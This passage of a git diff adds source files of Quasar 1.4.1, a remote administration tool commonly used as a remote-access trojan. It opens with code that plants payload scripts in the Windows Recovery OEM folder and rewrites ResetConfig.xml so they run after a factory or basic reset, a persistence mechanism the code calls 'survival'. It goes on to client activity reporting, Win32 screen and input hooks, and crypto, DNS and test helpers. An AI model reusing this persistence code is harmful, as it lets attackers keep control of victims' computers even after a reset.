factoryResetFileName, + string payload) + { + XElement resetConfig = XElement.Load(RSFuncs.ResetConfigPath); + XElement[] array = resetConfig.Elements((XName)"Run").Where((Func)(e => (string)e.Attribute((XName)"Phase") == "FactoryReset_AfterImageApply" || (string)e.Attribute((XName)"Phase") == "BasicReset_AfterImageApply")).ToArray(); + int duration = ((IEnumerable)array).Max((Func)(e => (int)e.Element((XName)"Duration"))); + string additionalCommand1 = RSFuncs.UpdatePhase(array, "BasicReset_AfterImageApply", basicResetFileName); + string additionalCommand2 = RSFuncs.UpdatePhase(array, "FactoryReset_AfterImageApply", factoryResetFileName); + if (additionalCommand1 == null) + RSFuncs.AddNewPhase(resetConfig, "BasicReset_AfterImageApply", basicResetFileName, duration); + if (additionalCommand2 == null) + RSFuncs.AddNewPhase(resetConfig, "FactoryReset_AfterImageApply", factoryResetFileName, duration); + RSFuncs.SaveScriptFile(basicResetFileName, payload, additionalCommand1); + RSFuncs.SaveScriptFile(factoryResetFileName, payload, additionalCommand2); + resetConfig.Save(RSFuncs.ResetConfigPath); + } + + private static XElement CreateRunElement(string phase, string path, int duration) + { + return new XElement((XName)"Run", new object[3] + { + (object) new XAttribute((XName) "Phase", (object) phase), + (object) new XElement((XName) "Path", (object) path), + (object) new XElement((XName) "Duration", (object) duration) + }); + } + + private static string UpdatePhase(XElement[] phases, string phaseName, string fileName) + { + XElement xelement = ((IEnumerable)phases).FirstOrDefault((Func)(p => (string)p.Attribute((XName)"Phase") == phaseName)); + if (xelement == null) + return (string)null; + string str1 = "%TARGETOSDRIVE%\\Recovery\\OEM\\" + (string)xelement.Element((XName)"Path"); + string str2 = (string)xelement.Element((XName)"Param") ?? string.Empty; + xelement.Element((XName)"Param")?.Remove(); + xelement.Element((XName)"Path").Value = fileName; + return "\"" + str1 + "\" " + str2; + } + + private static void AddNewPhase( + XElement resetConfig, + string phaseName, + string fileName, + int duration) + { + XElement runElement = RSFuncs.CreateRunElement(phaseName, fileName, duration); + resetConfig.Add((object)runElement); + } + + private static void SaveScriptFile(string fileName, string payload, string additionalCommand = null) + { + string contents = payload; + if (!string.IsNullOrEmpty(additionalCommand)) + contents += additionalCommand; + try + { + File.WriteAllText(Path.Combine(RSFuncs.OEMPath, fileName), contents); + RSFuncs.SendLog("success", "Error backing up current config"); + } + catch + { + RSFuncs.SendLog("error", "Error writing: " + fileName); + } + } + + public static void Uninstall(ISender client) + { + _client = client; + if (!Directory.Exists(RSFuncs.OEMDataBackupPath)) + { + SendLog("error", "Not Installed"); + return; + } + try + { + RSFuncs._Uninstall(); + SendLog("complete", "Successfully uninstalled survival!"); + } + catch (Exception ex) + { + SendLog("error", "Uninstall failed: " + ex.Message); + } + } + + private static void _Uninstall() + { + // First restore the original ResetConfig.xml if it was backed up + RSFuncs.RestoreOrDeleteConfigFile(); + + // Delete the backup folder + RSFuncs.DeleteBackupFolder(); + + // Clean up ALL files in the OEM folder to restore it to Windows default state + RSFuncs.CleanupOEMFolder(); + } + + private static void RestoreOrDeleteConfigFile() + { + string configBackupPath = Path.Combine(RSFuncs.OEMDataBackupPath, "configBackup"); + if (File.Exists(configBackupPath)) + { + // Restore the original ResetConfig.xml + File.Copy(configBackupPath, RSFuncs.ResetConfigPath, true); + } + else + { + // No backup exists, so delete ResetConfig.xml if it exists + if (File.Exists(RSFuncs.ResetConfigPath)) + File.Delete(RSFuncs.ResetConfigPath); + } + } + + private static void DeleteBackupFolder() + { + if (Directory.Exists(RSFuncs.OEMDataBackupPath)) + Directory.Delete(RSFuncs.OEMDataBackupPath, true); + } + + private static void CleanupOEMFolder() + { + // Check if OEM folder exists + if (!Directory.Exists(RSFuncs.OEMPath)) + return; + + try + { + // Delete ALL remaining files in the OEM folder + string[] files = Directory.GetFiles(RSFuncs.OEMPath, "*", SearchOption.AllDirectories); + foreach (string file in files) + { + try + { + File.Delete(file); + } + catch + { + // Continue even if some files can't be deleted + } + } + + // Delete ALL subdirectories in the OEM folder + string[] directories = Directory.GetDirectories(RSFuncs.OEMPath); + foreach (string dir in directories) + { + try + { + Directory.Delete(dir, true); + } + catch + { + // Continue even if some directories can't be deleted + } + } + + // Check if OEM folder is now empty + bool isEmpty = !Directory.EnumerateFileSystemEntries(RSFuncs.OEMPath).Any(); + + // If the folder is empty, delete it to restore Windows default state + if (isEmpty) + { + Directory.Delete(RSFuncs.OEMPath, false); + } + } + catch (Exception ex) + { + SendLog("warning", "OEM cleanup warning: " + ex.Message); + } + } + } +} \ No newline at end of file diff --git a/Quasar-1.4.1/Quasar.Client/User/ActivityDetection.cs b/Quasar-1.4.1/Quasar.Client/User/ActivityDetection.cs new file mode 100755 index 0000000..c6865a1 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/User/ActivityDetection.cs @@ -0,0 +1,125 @@ +using Quasar.Client.Helper; +using Quasar.Client.Networking; +using Quasar.Common.Enums; +using Quasar.Common.Messages; +using System; +using System.Threading; + +namespace Quasar.Client.User +{ + /// + /// Provides user activity detection and sends messages on change. + /// + public class ActivityDetection : IDisposable + { + /// + /// Stores the last user status to detect changes. + /// + private UserStatus _lastUserStatus; + + /// + /// The client to use for communication with the server. + /// + private readonly QuasarClient _client; + + /// + /// Create a and signals cancellation. + /// + private readonly CancellationTokenSource _tokenSource; + + /// + /// The token to check for cancellation. + /// + private readonly CancellationToken _token; + + /// + /// Initializes a new instance of using the given client. + /// + /// The name of the mutex. + public ActivityDetection(QuasarClient client) + { + _client = client; + _tokenSource = new CancellationTokenSource(); + _token = _tokenSource.Token; + client.ClientState += OnClientStateChange; + } + + private void OnClientStateChange(Networking.Client s, bool connected) + { + // reset user status + if (connected) + _lastUserStatus = UserStatus.Active; + } + + /// + /// Starts the user activity detection. + /// + public void Start() + { + new Thread(UserActivityThread).Start(); + } + + /// + /// Checks for user activity changes sends to the on change. + /// + private void UserActivityThread() + { + try + { + if (IsUserIdle()) + { + if (_lastUserStatus != UserStatus.Idle) + { + _lastUserStatus = UserStatus.Idle; + _client.Send(new SetUserStatus { Message = _lastUserStatus }); + } + } + else + { + if (_lastUserStatus != UserStatus.Active) + { + _lastUserStatus = UserStatus.Active; + _client.Send(new SetUserStatus { Message = _lastUserStatus }); + } + } + } + catch (Exception e) when (e is NullReferenceException || e is ObjectDisposedException) + { + } + } + + /// + /// Determines whether the user is idle if the last user input was more than 10 minutes ago. + /// + /// True if the user is idle, else false. + private bool IsUserIdle() + { + var ticks = Environment.TickCount; + + var idleTime = ticks - NativeMethodsHelper.GetLastInputInfoTickCount(); + + idleTime = ((idleTime > 0) ? (idleTime / 1000) : 0); + + return (idleTime > 600); // idle for 10 minutes + } + + /// + /// Disposes all managed and unmanaged resources associated with this activity detection service. + /// + public void Dispose() + { + Dispose(true); + GC.SuppressFinalize(this); + } + + protected virtual void Dispose(bool disposing) + { + if (disposing) + { + _client.ClientState -= OnClientStateChange; + _tokenSource.Cancel(); + _tokenSource.Dispose(); + } + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/User/UserAccount.cs b/Quasar-1.4.1/Quasar.Client/User/UserAccount.cs new file mode 100755 index 0000000..5893202 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/User/UserAccount.cs @@ -0,0 +1,39 @@ +using Quasar.Common.Enums; +using System; +using System.Security.Principal; + +namespace Quasar.Client.User +{ + public class UserAccount + { + public string UserName { get; } + + public AccountType Type { get; } + + public UserAccount() + { + UserName = Environment.UserName; + using (WindowsIdentity identity = WindowsIdentity.GetCurrent()) + { + WindowsPrincipal principal = new WindowsPrincipal(identity); + + if (principal.IsInRole(WindowsBuiltInRole.Administrator)) + { + Type = AccountType.Admin; + } + else if (principal.IsInRole(WindowsBuiltInRole.User)) + { + Type = AccountType.User; + } + else if (principal.IsInRole(WindowsBuiltInRole.Guest)) + { + Type = AccountType.Guest; + } + else + { + Type = AccountType.Unknown; + } + } + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Utilities/NativeMethods.cs b/Quasar-1.4.1/Quasar.Client/Utilities/NativeMethods.cs new file mode 100755 index 0000000..b1a7064 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Utilities/NativeMethods.cs @@ -0,0 +1,219 @@ +using System; +using System.Net; +using System.Runtime.InteropServices; +using System.Text; + +namespace Quasar.Client.Utilities +{ + /// + /// Provides access to the Win32 API. + /// + public static class NativeMethods + { + [StructLayout(LayoutKind.Sequential)] + internal struct LASTINPUTINFO + { + public static readonly int SizeOf = Marshal.SizeOf(typeof(LASTINPUTINFO)); + [MarshalAs(UnmanagedType.U4)] public UInt32 cbSize; + [MarshalAs(UnmanagedType.U4)] public UInt32 dwTime; + } + + [DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)] + internal static extern IntPtr LoadLibrary(string lpFileName); + + [DllImport("kernel32.dll", SetLastError = true)] + [return: MarshalAs(UnmanagedType.Bool)] + internal static extern bool FreeLibrary(IntPtr hModule); + + [DllImport("kernel32.dll", CharSet = CharSet.Ansi, SetLastError = true)] + internal static extern IntPtr GetProcAddress(IntPtr hModule, string procName); + + [DllImport("kernel32.dll", SetLastError = true)] + internal static extern bool QueryFullProcessImageName([In] IntPtr hProcess, [In] uint dwFlags, [Out] StringBuilder lpExeName, [In, Out] ref uint lpdwSize); + + /// + /// Performs a bit-block transfer of the color data corresponding to a + /// rectangle of pixels from the specified source device context into + /// a destination device context. + /// + /// Handle to the destination device context. + /// The leftmost x-coordinate of the destination rectangle (in pixels). + /// The topmost y-coordinate of the destination rectangle (in pixels). + /// The width of the source and destination rectangles (in pixels). + /// The height of the source and the destination rectangles (in pixels). + /// Handle to the source device context. + /// The leftmost x-coordinate of the source rectangle (in pixels). + /// The topmost y-coordinate of the source rectangle (in pixels). + /// A raster-operation code. + /// + /// true if the operation succeedes, false otherwise. To get extended error information, call . + /// + [DllImport("gdi32.dll", EntryPoint = "BitBlt", SetLastError = true)] + [return: MarshalAs(UnmanagedType.Bool)] + internal static extern bool BitBlt([In] IntPtr hdc, int nXDest, int nYDest, int nWidth, int nHeight, + [In] IntPtr hdcSrc, int nXSrc, int nYSrc, int dwRop); + + [DllImport("gdi32.dll", CharSet = CharSet.Unicode)] + internal static extern IntPtr CreateDC(string lpszDriver, string lpszDevice, string lpszOutput, IntPtr lpInitData); + + [DllImport("gdi32.dll")] + internal static extern bool DeleteDC([In] IntPtr hdc); + + [DllImport("user32.dll")] + internal static extern bool GetLastInputInfo(ref LASTINPUTINFO plii); + + [DllImport("user32.dll")] + internal static extern bool SetCursorPos(int x, int y); + + [DllImport("user32.dll", SetLastError = false)] + internal static extern IntPtr GetMessageExtraInfo(); + + /// + /// Synthesizes keystrokes, mouse motions, and button clicks. + /// + [DllImport("user32.dll")] + internal static extern uint SendInput(uint nInputs, + [MarshalAs(UnmanagedType.LPArray), In] INPUT[] pInputs, + int cbSize); + + [StructLayout(LayoutKind.Sequential)] + internal struct INPUT + { + internal uint type; + internal InputUnion u; + internal static int Size => Marshal.SizeOf(typeof(INPUT)); + } + + [StructLayout(LayoutKind.Explicit)] + internal struct InputUnion + { + [FieldOffset(0)] + internal MOUSEINPUT mi; + [FieldOffset(0)] + internal KEYBDINPUT ki; + [FieldOffset(0)] + internal HARDWAREINPUT hi; + } + + [StructLayout(LayoutKind.Sequential)] + internal struct MOUSEINPUT + { + internal int dx; + internal int dy; + internal int mouseData; + internal uint dwFlags; + internal uint time; + internal IntPtr dwExtraInfo; + } + + [StructLayout(LayoutKind.Sequential)] + internal struct KEYBDINPUT + { + internal ushort wVk; + internal ushort wScan; + internal uint dwFlags; + internal uint time; + internal IntPtr dwExtraInfo; + } + + [StructLayout(LayoutKind.Sequential)] + internal struct HARDWAREINPUT + { + public uint uMsg; + public ushort wParamL; + public ushort wParamH; + } + + [DllImport("user32.dll")] + internal static extern bool SystemParametersInfo( + uint uAction, uint uParam, ref IntPtr lpvParam, + uint flags); + + [DllImport("user32.dll")] + internal static extern int PostMessage(IntPtr hWnd, int wMsg, IntPtr wParam, IntPtr lParam); + + [DllImport("user32.dll", CharSet = CharSet.Unicode)] + internal static extern IntPtr OpenDesktop( + string hDesktop, int flags, bool inherit, + uint desiredAccess); + + [DllImport("user32.dll")] + internal static extern bool CloseDesktop( + IntPtr hDesktop); + + internal delegate bool EnumDesktopWindowsProc( + IntPtr hDesktop, IntPtr lParam); + + [DllImport("user32.dll")] + internal static extern bool EnumDesktopWindows( + IntPtr hDesktop, EnumDesktopWindowsProc callback, + IntPtr lParam); + + [DllImport("user32.dll")] + internal static extern bool IsWindowVisible( + IntPtr hWnd); + + [DllImport("user32.dll")] + internal static extern IntPtr GetForegroundWindow(); + + [DllImport("user32.dll", CharSet = CharSet.Unicode, SetLastError = true)] + internal static extern int GetWindowText(IntPtr hWnd, StringBuilder lpString, int nMaxCount); + + [DllImport("iphlpapi.dll", SetLastError = true)] + internal static extern uint GetExtendedTcpTable(IntPtr pTcpTable, ref int dwOutBufLen, bool sort, int ipVersion, + TcpTableClass tblClass, uint reserved = 0); + + [DllImport("iphlpapi.dll")] + internal static extern int SetTcpEntry(IntPtr pTcprow); + + [StructLayout(LayoutKind.Sequential)] + internal struct MibTcprowOwnerPid + { + public uint state; + public uint localAddr; + [MarshalAs(UnmanagedType.ByValArray, SizeConst = 4)] public byte[] localPort; + public uint remoteAddr; + [MarshalAs(UnmanagedType.ByValArray, SizeConst = 4)] public byte[] remotePort; + public uint owningPid; + public IPAddress LocalAddress + { + get { return new IPAddress(localAddr); } + } + + public ushort LocalPort + { + get { return BitConverter.ToUInt16(new byte[2] { localPort[1], localPort[0] }, 0); } + } + + public IPAddress RemoteAddress + { + get { return new IPAddress(remoteAddr); } + } + + public ushort RemotePort + { + get { return BitConverter.ToUInt16(new byte[2] { remotePort[1], remotePort[0] }, 0); } + } + } + + [StructLayout(LayoutKind.Sequential)] + internal struct MibTcptableOwnerPid + { + public uint dwNumEntries; + private readonly MibTcprowOwnerPid table; + } + + internal enum TcpTableClass + { + TcpTableBasicListener, + TcpTableBasicConnections, + TcpTableBasicAll, + TcpTableOwnerPidListener, + TcpTableOwnerPidConnections, + TcpTableOwnerPidAll, + TcpTableOwnerModuleListener, + TcpTableOwnerModuleConnections, + TcpTableOwnerModuleAll + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Utilities/SingleInstanceMutex.cs b/Quasar-1.4.1/Quasar.Client/Utilities/SingleInstanceMutex.cs new file mode 100755 index 0000000..6170e82 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Utilities/SingleInstanceMutex.cs @@ -0,0 +1,62 @@ +using System; +using System.Threading; + +namespace Quasar.Client.Utilities +{ + /// + /// A user-wide mutex that ensures that only one instance runs at a time. + /// + public class SingleInstanceMutex : IDisposable + { + /// + /// The mutex used for process synchronization. + /// + private readonly Mutex _appMutex; + + /// + /// Represents if the mutex was created on the system or it already existed. + /// + public bool CreatedNew { get; } + + /// + /// Determines if the instance is disposed and should not be used anymore. + /// + public bool IsDisposed { get; private set; } + + /// + /// Initializes a new instance of using the given mutex name. + /// + /// The name of the mutex. + public SingleInstanceMutex(string name) + { + _appMutex = new Mutex(false, $"Local\\{name}", out var createdNew); + CreatedNew = createdNew; + } + + /// + /// Releases all resources used by this . + /// + public void Dispose() + { + Dispose(true); + GC.SuppressFinalize(this); + } + + /// + /// Releases the mutex object. + /// + /// True if called from , false if called from the finalizer. + protected virtual void Dispose(bool disposing) + { + if (IsDisposed) + return; + + if (disposing) + { + _appMutex?.Dispose(); + } + + IsDisposed = true; + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/app.manifest b/Quasar-1.4.1/Quasar.Client/app.manifest new file mode 100755 index 0000000..bf4e01a --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/app.manifest @@ -0,0 +1,44 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + true/pm + PerMonitorV2, PerMonitor + true + + + + + + + + \ No newline at end of file diff --git a/Quasar-1.4.1/Quasar.Common.Tests/Compression/JpgCompression.Tests.cs b/Quasar-1.4.1/Quasar.Common.Tests/Compression/JpgCompression.Tests.cs new file mode 100755 index 0000000..4bf62fa --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common.Tests/Compression/JpgCompression.Tests.cs @@ -0,0 +1,24 @@ +using Microsoft.VisualStudio.TestTools.UnitTesting; +using Quasar.Common.Video.Compression; +using System; +using System.Drawing; + +namespace Quasar.Common.Tests.Compression +{ + [TestClass] + public class JpgCompressionTests + { + [TestMethod, TestCategory("Compression")] + public void CompressionTest() + { + var quality = Int64.MaxValue; + var jpg = new JpgCompression(quality); + var bitmap = new Bitmap(200, 200); + + var result = jpg.Compress(bitmap); + + Assert.IsNotNull(result); + CollectionAssert.AllItemsAreNotNull(result); + } + } +} diff --git a/Quasar-1.4.1/Quasar.Common.Tests/Cryptography/Aes256.Tests.cs b/Quasar-1.4.1/Quasar.Common.Tests/Cryptography/Aes256.Tests.cs new file mode 100755 index 0000000..61c2b99 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common.Tests/Cryptography/Aes256.Tests.cs @@ -0,0 +1,49 @@ +using Microsoft.VisualStudio.TestTools.UnitTesting; +using Quasar.Common.Cryptography; +using Quasar.Common.Helpers; +using System.Text; + +namespace Quasar.Common.Tests.Cryptography +{ + [TestClass] + public class Aes128Tests + { + [TestMethod, TestCategory("Cryptography")] + public void EncryptAndDecryptStringTest() + { + var input = StringHelper.GetRandomString(100); + var password = StringHelper.GetRandomString(50); + + var aes = new Aes256(password); + + var encrypted = aes.Encrypt(input); + + Assert.IsNotNull(encrypted); + Assert.AreNotEqual(encrypted, input); + + var decrypted = aes.Decrypt(encrypted); + + Assert.AreEqual(input, decrypted); + } + + [TestMethod, TestCategory("Cryptography")] + public void EncryptAndDecryptByteArrayTest() + { + var input = StringHelper.GetRandomString(100); + var inputByte = Encoding.UTF8.GetBytes(input); + var password = StringHelper.GetRandomString(50); + + var aes = new Aes256(password); + + var encryptedByte = aes.Encrypt(inputByte); + + Assert.IsNotNull(encryptedByte); + CollectionAssert.AllItemsAreNotNull(encryptedByte); + CollectionAssert.AreNotEqual(encryptedByte, inputByte); + + var decryptedByte = aes.Decrypt(encryptedByte); + + CollectionAssert.AreEqual(inputByte, decryptedByte); + } + } +} diff --git a/Quasar-1.4.1/Quasar.Common.Tests/Cryptography/SHA256.Tests.cs b/Quasar-1.4.1/Quasar.Common.Tests/Cryptography/SHA256.Tests.cs new file mode 100755 index 0000000..63e9758 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common.Tests/Cryptography/SHA256.Tests.cs @@ -0,0 +1,20 @@ +using Microsoft.VisualStudio.TestTools.UnitTesting; +using Quasar.Common.Cryptography; +using Quasar.Common.Helpers; + +namespace Quasar.Common.Tests.Cryptography +{ + [TestClass] + public class Sha256Tests + { + [TestMethod, TestCategory("Cryptography")] + public void ComputeHashTest() + { + var input = StringHelper.GetRandomString(100); + var result = Sha256.ComputeHash(input); + + Assert.IsNotNull(result); + Assert.AreNotEqual(result, input); + } + } +} diff --git a/Quasar-1.4.1/Quasar.Common.Tests/Helpers/FileHelper.Tests.cs b/Quasar-1.4.1/Quasar.Common.Tests/Helpers/FileHelper.Tests.cs new file mode 100755 index 0000000..5a4a595 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common.Tests/Helpers/FileHelper.Tests.cs @@ -0,0 +1,35 @@ +using Microsoft.VisualStudio.TestTools.UnitTesting; +using Quasar.Common.Helpers; + +namespace Quasar.Common.Tests.Helpers +{ + [TestClass] + public class FileHelperTests + { + [TestMethod, TestCategory("Helpers")] + public void RandomFilenameTest() + { + int length = 100; + var name = FileHelper.GetRandomFilename(length); + + Assert.IsNotNull(name); + Assert.IsTrue(name.Length == length); + } + + [TestMethod, TestCategory("Helpers")] + public void ValidateExecutableTest() + { + var bytes = new byte[] {77, 90}; + + Assert.IsTrue(FileHelper.HasExecutableIdentifier(bytes)); + } + + [TestMethod, TestCategory("Helpers")] + public void ValidateExecutableTest2() + { + var bytes = new byte[] {22, 93}; + + Assert.IsFalse(FileHelper.HasExecutableIdentifier(bytes)); + } + } +} diff --git a/Quasar-1.4.1/Quasar.Common.Tests/Properties/AssemblyInfo.cs b/Quasar-1.4.1/Quasar.Common.Tests/Properties/AssemblyInfo.cs new file mode 100755 index 0000000..ccdc2ef --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common.Tests/Properties/AssemblyInfo.cs @@ -0,0 +1,20 @@ +using System.Reflection; +using System.Runtime.CompilerServices; +using System.Runtime.InteropServices; + +[assembly: AssemblyTitle("Quasar Common Tests")] +[assembly: AssemblyDescription("")] +[assembly: AssemblyConfiguration("")] +[assembly: AssemblyCompany("")] +[assembly: AssemblyProduct("Quasar")] +[assembly: AssemblyCopyright("Copyright © MaxXor 2023")] +[assembly: AssemblyTrademark("")] +[assembly: AssemblyCulture("")] + +[assembly: ComVisible(false)] + +[assembly: Guid("cfda6d2e-8ab3-4349-b89a-33e1f0dab32b")] + +// [assembly: AssemblyVersion("1.0.*")] +[assembly: AssemblyVersion("1.4.1")] +[assembly: AssemblyFileVersion("1.4.1")] diff --git a/Quasar-1.4.1/Quasar.Common.Tests/Quasar.Common.Tests.csproj b/Quasar-1.4.1/Quasar.Common.Tests/Quasar.Common.Tests.csproj new file mode 100755 index 0000000..257ee73 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common.Tests/Quasar.Common.Tests.csproj @@ -0,0 +1,22 @@ + + + net461 + false + + + ..\bin\Debug\ + + + ..\bin\Release\ + none + false + + + + + + + + + + diff --git a/Quasar-1.4.1/Quasar.Common/Cryptography/Aes256.cs b/Quasar-1.4.1/Quasar.Common/Cryptography/Aes256.cs new file mode 100755 index 0000000..fa73721 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Cryptography/Aes256.cs @@ -0,0 +1,128 @@ +using System; +using System.IO; +using System.Security.Cryptography; +using System.Text; + +namespace Quasar.Common.Cryptography +{ + public class Aes256 + { + private const int KeyLength = 32; + private const int AuthKeyLength = 64; + private const int IvLength = 16; + private const int HmacSha256Length = 32; + private readonly byte[] _key; + private readonly byte[] _authKey; + + private static readonly byte[] Salt = + { + 0xBF, 0xEB, 0x1E, 0x56, 0xFB, 0xCD, 0x97, 0x3B, 0xB2, 0x19, 0x2, 0x24, 0x30, 0xA5, 0x78, 0x43, 0x0, 0x3D, 0x56, + 0x44, 0xD2, 0x1E, 0x62, 0xB9, 0xD4, 0xF1, 0x80, 0xE7, 0xE6, 0xC3, 0x39, 0x41 + }; + + public Aes256(string masterKey) + { + if (string.IsNullOrEmpty(masterKey)) + throw new ArgumentException($"{nameof(masterKey)} can not be null or empty."); + + using (Rfc2898DeriveBytes derive = new Rfc2898DeriveBytes(masterKey, Salt, 50000)) + { + _key = derive.GetBytes(KeyLength); + _authKey = derive.GetBytes(AuthKeyLength); + } + } + + public string Encrypt(string input) + { + return Convert.ToBase64String(Encrypt(Encoding.UTF8.GetBytes(input))); + } + + /* FORMAT + * ---------------------------------------- + * | HMAC | IV | CIPHERTEXT | + * ---------------------------------------- + * 32 bytes 16 bytes + */ + public byte[] Encrypt(byte[] input) + { + if (input == null) + throw new ArgumentNullException($"{nameof(input)} can not be null."); + + using (var ms = new MemoryStream()) + { + ms.Position = HmacSha256Length; // reserve first 32 bytes for HMAC + using (var aesProvider = new AesCryptoServiceProvider()) + { + aesProvider.KeySize = 256; + aesProvider.BlockSize = 128; + aesProvider.Mode = CipherMode.CBC; + aesProvider.Padding = PaddingMode.PKCS7; + aesProvider.Key = _key; + aesProvider.GenerateIV(); + + using (var cs = new CryptoStream(ms, aesProvider.CreateEncryptor(), CryptoStreamMode.Write)) + { + ms.Write(aesProvider.IV, 0, aesProvider.IV.Length); // write next 16 bytes the IV, followed by ciphertext + cs.Write(input, 0, input.Length); + cs.FlushFinalBlock(); + + using (var hmac = new HMACSHA256(_authKey)) + { + byte[] hash = hmac.ComputeHash(ms.ToArray(), HmacSha256Length, ms.ToArray().Length - HmacSha256Length); // compute the HMAC of IV and ciphertext + ms.Position = 0; // write hash at beginning + ms.Write(hash, 0, hash.Length); + } + } + } + + return ms.ToArray(); + } + } + + public string Decrypt(string input) + { + return Encoding.UTF8.GetString(Decrypt(Convert.FromBase64String(input))); + } + + public byte[] Decrypt(byte[] input) + { + if (input == null) + throw new ArgumentNullException($"{nameof(input)} can not be null."); + + using (var ms = new MemoryStream(input)) + { + using (var aesProvider = new AesCryptoServiceProvider()) + { + aesProvider.KeySize = 256; + aesProvider.BlockSize = 128; + aesProvider.Mode = CipherMode.CBC; + aesProvider.Padding = PaddingMode.PKCS7; + aesProvider.Key = _key; + + // read first 32 bytes for HMAC + using (var hmac = new HMACSHA256(_authKey)) + { + var hash = hmac.ComputeHash(ms.ToArray(), HmacSha256Length, ms.ToArray().Length - HmacSha256Length); + byte[] receivedHash = new byte[HmacSha256Length]; + ms.Read(receivedHash, 0, receivedHash.Length); + + if (!SafeComparison.AreEqual(hash, receivedHash)) + throw new CryptographicException("Invalid message authentication code (MAC)."); + } + + byte[] iv = new byte[IvLength]; + ms.Read(iv, 0, IvLength); // read next 16 bytes for IV, followed by ciphertext + aesProvider.IV = iv; + + using (var cs = new CryptoStream(ms, aesProvider.CreateDecryptor(), CryptoStreamMode.Read)) + { + byte[] temp = new byte[ms.Length - IvLength + 1]; + byte[] data = new byte[cs.Read(temp, 0, temp.Length)]; + Buffer.BlockCopy(temp, 0, data, 0, data.Length); + return data; + } + } + } + } + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Cryptography/SafeComparison.cs b/Quasar-1.4.1/Quasar.Common/Cryptography/SafeComparison.cs new file mode 100755 index 0000000..4ac4897 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Cryptography/SafeComparison.cs @@ -0,0 +1,29 @@ +using System.Runtime.CompilerServices; + +namespace Quasar.Common.Cryptography +{ + public class SafeComparison + { + /// + /// Compares two byte arrays for equality. + /// + /// Byte array to compare + /// Byte array to compare + /// True if equal, else false + /// + /// Assumes that the byte arrays have the same length. + /// This method is safe against timing attacks. + /// + [MethodImpl(MethodImplOptions.NoInlining | MethodImplOptions.NoOptimization)] + public static bool AreEqual(byte[] a1, byte[] a2) + { + bool result = true; + for (int i = 0; i < a1.Length; ++i) + { + if (a1[i] != a2[i]) + result = false; + } + return result; + } + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Cryptography/Sha256.cs b/Quasar-1.4.1/Quasar.Common/Cryptography/Sha256.cs new file mode 100755 index 0000000..c7a6414 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Cryptography/Sha256.cs @@ -0,0 +1,33 @@ +using System.Security.Cryptography; +using System.Text; + +namespace Quasar.Common.Cryptography +{ + public static class Sha256 + { + public static string ComputeHash(string input) + { + byte[] data = Encoding.UTF8.GetBytes(input); + + using (SHA256Managed sha = new SHA256Managed()) + { + data = sha.ComputeHash(data); + } + + StringBuilder hash = new StringBuilder(); + + foreach (byte _byte in data) + hash.Append(_byte.ToString("X2")); + + return hash.ToString().ToUpper(); + } + + public static byte[] ComputeHash(byte[] input) + { + using (SHA256Managed sha = new SHA256Managed()) + { + return sha.ComputeHash(input); + } + } + } +} diff --git a/Quasar-1.4.1/Quasar.Common/DNS/Host.cs b/Quasar-1.4.1/Quasar.Common/DNS/Host.cs new file mode 100755 index 0000000..be93184 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/DNS/Host.cs @@ -0,0 +1,33 @@ +using System.Net; + +namespace Quasar.Common.DNS +{ + public class Host + { + /// + /// Stores the hostname of the Host. + /// + /// + /// Can be an IPv4, IPv6 address or hostname. + /// + public string Hostname { get; set; } + + /// + /// Stores the IP address of host. + /// + /// + /// Can be an IPv4 or IPv6 address. + /// + public IPAddress IpAddress { get; set; } + + /// + /// Stores the port of the Host. + /// + public ushort Port { get; set; } + + public override string ToString() + { + return Hostname + ":" + Port; + } + } +} diff --git a/Quasar-1.4.1/Quasar.Common/DNS/HostsConverter.cs b/Quasar-1.4.1/Quasar.Common/DNS/HostsConverter.cs new file mode 100755 index 0000000..905a335 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/DNS/HostsConverter.cs @@ -0,0 +1,40 @@ +using System.Collections.Generic; +using System.Linq; +using System.Text; + +namespace Quasar.Common.DNS +{ + public class HostsConverter + { + public List RawHostsToList(string rawHosts) + { + List hostsList = new List(); + + if (string.IsNullOrEmpty(rawHosts)) return hostsList; + + var hosts = rawHosts.Split(';'); + + foreach (var host in hosts) + { + if ((string.IsNullOrEmpty(host) || !host.Contains(':'))) continue; // invalid host, ignore + + ushort port; + if (!ushort.TryParse(host.Substring(host.LastIndexOf(':') + 1), out port)) continue; // invalid, ignore host + + hostsList.Add(new Host { Hostname = host.Substring(0, host.LastIndexOf(':')), Port = port }); + } + + return hostsList; + } + + public string ListToRawHosts(IList hosts) + { + StringBuilder rawHosts = new StringBuilder(); + + foreach (var host in hosts) + rawHosts.Append(host + ";"); + + return rawHosts.ToString(); + } + } +} diff --git a/Quasar-1.4.1/Quasar.Common/DNS/HostsManager.cs b/Quasar-1.4.1/Quasar.Common/DNS/HostsManager.cs new file mode 100755 index 0000000..182895a --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/DNS/HostsManager.cs @@ -0,0 +1,63 @@ +using System.Collections.Generic; +using System.Net; +using System.Net.Sockets; + +namespace Quasar.Common.DNS +{ + public class HostsManager + { + public bool IsEmpty => _hosts.Count == 0; + + private readonly Queue _hosts = new Queue(); + + public HostsManager(List hosts) + { + foreach(var host in hosts) + _hosts.Enqueue(host); + } + + public Host GetNextHost() + { + var temp = _hosts.Dequeue(); + _hosts.Enqueue(temp); // add to the end of the queue + + temp.IpAddress = ResolveHostname(temp); + return temp; + } + + private 